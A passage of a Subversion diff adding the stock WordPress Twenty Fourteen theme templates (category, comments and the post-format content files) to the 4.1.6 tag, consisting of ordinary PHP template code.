+						printf( __( 'All posts by %s', 'twentyfourteen' ), get_the_author() );
+					?>
+				</h1>
+				<?php if ( get_the_author_meta( 'description' ) ) : ?>
+				<div class="author-description"><?php the_author_meta( 'description' ); ?></div>
+				<?php endif; ?>
+			</header><!-- .archive-header -->
+
+			<?php
+					/*
+					 * Since we called the_post() above, we need to rewind
+					 * the loop back to the beginning that way we can run
+					 * the loop properly, in full.
+					 */
+					rewind_posts();
+
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+						/*
+						 * Include the post format-specific template for the content. If you want to
+						 * use this in a child theme, then include a file called called content-___.php
+						 * (where ___ is the post format) and that will be used instead.
+						 */
+						get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next page navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/category.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/category.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/category.php	(revision 33402)
@@ -0,0 +1,58 @@
+<?php
+/**
+ * The template for displaying Category pages
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+			<header class="archive-header">
+				<h1 class="archive-title"><?php printf( __( 'Category Archives: %s', 'twentyfourteen' ), single_cat_title( '', false ) ); ?></h1>
+
+				<?php
+					// Show an optional term description.
+					$term_description = term_description();
+					if ( ! empty( $term_description ) ) :
+						printf( '<div class="taxonomy-description">%s</div>', $term_description );
+					endif;
+				?>
+			</header><!-- .archive-header -->
+
+			<?php
+					// Start the Loop.
+					while ( have_posts() ) : the_post();
+
+					/*
+					 * Include the post format-specific template for the content. If you want to
+					 * use this in a child theme, then include a file called called content-___.php
+					 * (where ___ is the post format) and that will be used instead.
+					 */
+					get_template_part( 'content', get_post_format() );
+
+					endwhile;
+					// Previous/next page navigation.
+					twentyfourteen_paging_nav();
+
+				else :
+					// If no content, include the "No posts found" template.
+					get_template_part( 'content', 'none' );
+
+				endif;
+			?>
+		</div><!-- #content -->
+	</section><!-- #primary -->
+
+<?php
+get_sidebar( 'content' );
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/comments.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/comments.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/comments.php	(revision 33402)
@@ -0,0 +1,66 @@
+<?php
+/**
+ * The template for displaying Comments
+ *
+ * The area of the page that contains comments and the comment form.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+/*
+ * If the current post is protected by a password and the visitor has not yet
+ * entered the password we will return early without loading the comments.
+ */
+if ( post_password_required() ) {
+	return;
+}
+?>
+
+<div id="comments" class="comments-area">
+
+	<?php if ( have_comments() ) : ?>
+
+	<h2 class="comments-title">
+		<?php
+			printf( _n( 'One thought on &ldquo;%2$s&rdquo;', '%1$s thoughts on &ldquo;%2$s&rdquo;', get_comments_number(), 'twentyfourteen' ),
+				number_format_i18n( get_comments_number() ), get_the_title() );
+		?>
+	</h2>
+
+	<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : ?>
+	<nav id="comment-nav-above" class="navigation comment-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Comment navigation', 'twentyfourteen' ); ?></h1>
+		<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentyfourteen' ) ); ?></div>
+		<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentyfourteen' ) ); ?></div>
+	</nav><!-- #comment-nav-above -->
+	<?php endif; // Check for comment navigation. ?>
+
+	<ol class="comment-list">
+		<?php
+			wp_list_comments( array(
+				'style'      => 'ol',
+				'short_ping' => true,
+				'avatar_size'=> 34,
+			) );
+		?>
+	</ol><!-- .comment-list -->
+
+	<?php if ( get_comment_pages_count() > 1 && get_option( 'page_comments' ) ) : ?>
+	<nav id="comment-nav-below" class="navigation comment-navigation" role="navigation">
+		<h1 class="screen-reader-text"><?php _e( 'Comment navigation', 'twentyfourteen' ); ?></h1>
+		<div class="nav-previous"><?php previous_comments_link( __( '&larr; Older Comments', 'twentyfourteen' ) ); ?></div>
+		<div class="nav-next"><?php next_comments_link( __( 'Newer Comments &rarr;', 'twentyfourteen' ) ); ?></div>
+	</nav><!-- #comment-nav-below -->
+	<?php endif; // Check for comment navigation. ?>
+
+	<?php if ( ! comments_open() ) : ?>
+	<p class="no-comments"><?php _e( 'Comments are closed.', 'twentyfourteen' ); ?></p>
+	<?php endif; ?>
+
+	<?php endif; // have_comments() ?>
+
+	<?php comment_form(); ?>
+
+</div><!-- #comments -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-aside.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-aside.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-aside.php	(revision 33402)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Aside post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'aside' ) ); ?>"><?php echo get_post_format_string( 'aside' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-audio.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-audio.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-audio.php	(revision 33402)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Audio post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'audio' ) ); ?>"><?php echo get_post_format_string( 'audio' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-featured-post.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-featured-post.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-featured-post.php	(revision 33402)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * The template for displaying featured posts on the front page
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<a class="post-thumbnail" href="<?php the_permalink(); ?>">
+	<?php
+		// Output the featured image.
+		if ( has_post_thumbnail() ) :
+			if ( 'grid' == get_theme_mod( 'featured_content_layout' ) ) {
+				the_post_thumbnail();
+			} else {
+				the_post_thumbnail( 'twentyfourteen-full-width' );
+			}
+		endif;
+	?>
+	</a>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php endif; ?>
+
+		<?php the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">','</a></h1>' ); ?>
+	</header><!-- .entry-header -->
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-gallery.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-gallery.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-gallery.php	(revision 33402)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Gallery post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'gallery' ) ); ?>"><?php echo get_post_format_string( 'gallery' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-image.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-image.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-image.php	(revision 33402)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Image post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'image' ) ); ?>"><?php echo get_post_format_string( 'image' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-link.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-link.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-link.php	(revision 33402)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Link post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'link' ) ); ?>"><?php echo get_post_format_string( 'link' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-none.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-none.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-none.php	(revision 33402)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * The template for displaying a "No posts found" message
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<header class="page-header">
+	<h1 class="page-title"><?php _e( 'Nothing Found', 'twentyfourteen' ); ?></h1>
+</header>
+
+<div class="page-content">
+	<?php if ( is_home() && current_user_can( 'publish_posts' ) ) : ?>
+
+	<p><?php printf( __( 'Ready to publish your first post? <a href="%1$s">Get started here</a>.', 'twentyfourteen' ), admin_url( 'post-new.php' ) ); ?></p>
+
+	<?php elseif ( is_search() ) : ?>
+
+	<p><?php _e( 'Sorry, but nothing matched your search terms. Please try again with some different keywords.', 'twentyfourteen' ); ?></p>
+	<?php get_search_form(); ?>
+
+	<?php else : ?>
+
+	<p><?php _e( 'It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps searching can help.', 'twentyfourteen' ); ?></p>
+	<?php get_search_form(); ?>
+
+	<?php endif; ?>
+</div><!-- .page-content -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-page.php	(revision 33402)
@@ -0,0 +1,31 @@
+<?php
+/**
+ * The template used for displaying page content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php
+		// Page thumbnail and title.
+		twentyfourteen_post_thumbnail();
+		the_title( '<header class="entry-header"><h1 class="entry-title">', '</h1></header><!-- .entry-header -->' );
+	?>
+
+	<div class="entry-content">
+		<?php
+			the_content();
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+
+			edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' );
+		?>
+	</div><!-- .entry-content -->
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-quote.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-quote.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-quote.php	(revision 33402)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Quote post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'quote' ) ); ?>"><?php echo get_post_format_string( 'quote' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-video.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-video.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content-video.php	(revision 33402)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The template for displaying posts in the Video post format
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div><!-- .entry-meta -->
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<span class="post-format">
+				<a class="entry-format" href="<?php echo esc_url( get_post_format_link( 'video' ) ); ?>"><?php echo get_post_format_string( 'video' ); ?></a>
+			</span>
+
+			<?php twentyfourteen_posted_on(); ?>
+
+			<?php if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) : ?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php endif; ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' ); ?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/content.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/content.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/content.php	(revision 33402)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * The default template for displaying content
+ *
+ * Used for both single and index/archive/search.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<?php twentyfourteen_post_thumbnail(); ?>
+
+	<header class="entry-header">
+		<?php if ( in_array( 'category', get_object_taxonomies( get_post_type() ) ) && twentyfourteen_categorized_blog() ) : ?>
+		<div class="entry-meta">
+			<span class="cat-links"><?php echo get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentyfourteen' ) ); ?></span>
+		</div>
+		<?php
+			endif;
+
+			if ( is_single() ) :
+				the_title( '<h1 class="entry-title">', '</h1>' );
+			else :
+				the_title( '<h1 class="entry-title"><a href="' . esc_url( get_permalink() ) . '" rel="bookmark">', '</a></h1>' );
+			endif;
+		?>
+
+		<div class="entry-meta">
+			<?php
+				if ( 'post' == get_post_type() )
+					twentyfourteen_posted_on();
+
+				if ( ! post_password_required() && ( comments_open() || get_comments_number() ) ) :
+			?>
+			<span class="comments-link"><?php comments_popup_link( __( 'Leave a comment', 'twentyfourteen' ), __( '1 Comment', 'twentyfourteen' ), __( '% Comments', 'twentyfourteen' ) ); ?></span>
+			<?php
+				endif;
+
+				edit_post_link( __( 'Edit', 'twentyfourteen' ), '<span class="edit-link">', '</span>' );
+			?>
+		</div><!-- .entry-meta -->
+	</header><!-- .entry-header -->
+
+	<?php if ( is_search() ) : ?>
+	<div class="entry-summary">
+		<?php the_excerpt(); ?>
+	</div><!-- .entry-summary -->
+	<?php else : ?>
+	<div class="entry-content">
+		<?php
+			/* translators: %s: Name of current post */
+			the_content( sprintf(
+				__( 'Continue reading %s <span class="meta-nav">&rarr;</span>', 'twentyfourteen' ),
+				the_title( '<span class="screen-reader-text">', '</span>', false )
+			) );
+
+			wp_link_pages( array(
+				'before'      => '<div class="page-links"><span class="page-links-title">' . __( 'Pages:', 'twentyfourteen' ) . '</span>',
+				'after'       => '</div>',
+				'link_before' => '<span>',
+				'link_after'  => '</span>',
+			) );
+		?>
+	</div><!-- .entry-content -->
+	<?php endif; ?>
+
+	<?php the_tags( '<footer class="entry-meta"><span class="tag-links">', '', '</span></footer>' ); ?>
+</article><!-- #post-## -->
